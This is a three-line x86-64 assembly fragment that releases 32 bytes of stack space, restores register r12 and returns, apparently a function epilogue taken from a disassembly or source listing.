add rsp, 0x20
pop r12
ret